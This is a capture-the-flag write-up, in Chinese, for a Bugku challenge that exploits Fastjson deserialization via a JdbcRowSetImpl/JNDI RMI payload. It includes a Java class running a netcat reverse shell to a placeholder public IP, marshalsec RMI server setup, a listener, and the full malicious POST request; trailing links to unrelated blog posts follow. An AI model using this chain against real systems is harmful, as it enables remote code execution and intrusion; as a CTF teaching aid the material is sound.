Java Fastjson Unserialize WriteUp
Java Fastjson Unserialize
题目地址: https://ctf.bugku.com/challenges/detail/id/339.html
1. 查看网页源代码
<script type="text/javascript">
function formSubmit(){
var data=new Object();
data.user=document.getElementById('user').value;
data.pwd=document.getElementById('password').value;
var json=JSON.stringify(data);
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', '/login', true);
httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpRequest.send(json);
httpRequest.onreadystatechange = function () {
if (httpRequest.readyState == 4 && httpRequest.status == 200) {
var responseText = httpRequest.responseText;
data.pwd=document.getElementById('response').innerHTML=responseText;
}
};
}
</script>
可以看到点击登陆按钮提交后post方式 跳转到 /login 界面 这就是我们要构造的http请求头
2. 搭建所需环境
2.1 搭建java RMI服务
cd #到家目录
#创建 fastjson-test目录
mkdir fastjson-test
#进入fastjson-test目录
cd fastjson-test
# 克隆marshalsec
#git clone https://github.com/mbechler/marshalsec
#我已经上传到gitee 用wget下载即可 上面的命令可以跳过
#没有下载wget 请自行下载安装wget
wget https://gitee.com/kittysmith5/log4j2/raw/master/rmi/marshalsec-0.0.3-SNAPSHOT-all.jar
2.2 创建一个执行反弹shell命令的java类
#还是在 fastjson-test 目录
touch Test.java
#编辑Test.java
vim Test.java
Test.java内容如下
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
//2.2.2.2改成自己云服务器的公网ip
String commands = "nc 2.2.2.2 8002 -e /bin/sh";
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
System.out.println("error!");
}
}
}
编译Test.java
javac Test.java
会在当前目录生成一个Test.class的文件, 待会有大用!
2.3 新开一个shell终端用python启动一个http服务
sudo python3 -m http.server
2.4 新开一个shell终端启动RMI服务监听9999端口
将2.2.2.2改为自己的公网ip! #Test对应Test.java
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:8000/#Test" 9999
2.5 新开一个shell终端nc监听8002端口
nc -lvn 8002
3. kali下使用burpsuite进行攻击
http请求头如下
POST /login HTTP/1.1
Host: 114.67.175.224:19692
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
If-Modified-Since: Fri, 03 Dec 2021 07:30:50 GMT
Content-Length: 271
{
"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"password":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/Test",
"autoCommit":true
}
}

没有回应就是成功吗, 回到nc监听的shell终端页面,
输入cd / 和cat flag就能得到flag
先丢尽记事本, 再复制json , cnblogs的换行符有问题
Java Fastjson Unserialize WriteUp的更多相关文章
- Java FastJson 介绍
1.前言 1.1.FastJson的介绍: JSON协议使用方便,越来越流行,JSON的处理器有很多,这里我介绍一下FastJson,FastJson是阿里的开源框架,被不少企业使用,是一个极其优秀的 ...
- java FastJSON的使用
1.JSON介绍 JSON(javaScript Object Notation)是一种轻量级的数据交换格式.主要采用键值对({"name": "json"}) ...
- java FastJson的使用总结
1.前言 1.1.FastJson的介绍: JSON(javaScript Object Notation)是一种轻量级的数据交换格式.主要采用键值对({"name": " ...
- java fastjson:Map与json以及JSONObject ,JSONObject与String互转
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson ...
- java fastjson 设置全局输出name最小化
1.通过自定义Filter实现 https://github.com/alibaba/fastjson/wiki/SerializeFilter public class JackJsonLowCas ...
- java fastJson
// 大区的数据 String cityList = "[{'title':'华北','value':'1','children':[{'title':'山东','value':'1.1', ...
- Java反序列化漏洞总结
本文首发自https://www.secpulse.com/archives/95012.html,转载请注明出处. 前言 什么是序列化和反序列化 Java 提供了一种对象序列化的机制,该机制中,一个 ...
- 关于thrift的一些探索——thrift序列化技术
thrift的IDL,相当于一个钥匙.而thrift传输过程,相当于从两个房间之间的传输数据. 图-1 (因为Thrift采用了C/S模型,不支持双向通信:client只能远程调用server端的RP ...
- XXE(XML External Entity attack)XML外部实体注入攻击
导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...
- dubbox2.8.4例子教程二
简介 上篇博客写了个dubbox生产者,也用HttpClient代码测试了rest服务,下面记录dubbox消费者工程 一.工程结构 一.Simple.java package bhz.ent ...
随机推荐
- PIL修改图像
PIL修改图像 像素:最小物理单元 pixel 分辨率:1024*980 可以表征 图像分辨率 或者350dpi 每英寸 350个dot表征分辨率 调整图像分辨率 from PIL import Im ...
- mmdetection3d安装
conda create -n openmmlab python=3.7 -y conda activate openmmlab pip install torch==1.8.1+cu101 torc ...
- firewalld 防火墙centos7
在centos7中iptables已经废弃不用 firewalld命令: 查看所有规则 firewall-cmd --list-all 用命令行 来 允许40ip 访问本机 firewall-cmd ...
- Intel oneAPI 环境变量设置
因工作需要,需要在linux系统配置多个不同环境的库,需要使用environment-modules工具管理环境变量,为保持配置方法的一致性,也使用modulefile文件加载Intel oneAPI ...
- 微信小程序监听view到顶部的高度
view style='width:100%;height:80rpx;' id='navigation'></view> wx.createSelectorQuery().sele ...
- 如何使用css绘制三角形
背景 用迪卡侬官方主页进行页面练习,发现头部导航栏需要使用到梯形 分析 图形分解 通过图片我们可以发现该梯形可以分解成一个长方形和一个直角三角形,长方形:110*65:直角三角形:11*65(底边*另 ...
- es 集群并设置密码
1. 生成证书 bin/elasticsearch-certutil cert -out config/elastic-certificates.p12 -pass ""2. el ...
- 【小记】如果 golang 内存不够了怎么办
在看 redis 1.0 源码时,总会看到需要申请内存的地方,如果申请不到需要大的内存就会返回 NULL,然后在调用层抛出 oom. 比如 listDup 中在复制特殊 value 或者加入新节点时都 ...
- 接口设置ip跨域
// 允许跨域请求的地址'allowUrls' => [ 'http://localhost:8080', 'http://192.168.2.224', 'http://192.168.2.2 ...
- 运行yarn报错:error C:\liuyan\tools\echarts-5.4.0\node_modules\cwebp-bin: Command failed.
完成warning和报错信息如下. 通过报错信息提示,锁定cwebp-bin,在waring中发现有提示说要更新至7或更高版本. 解决方案:在package.json中,将cwebp-bin设置版本为 ...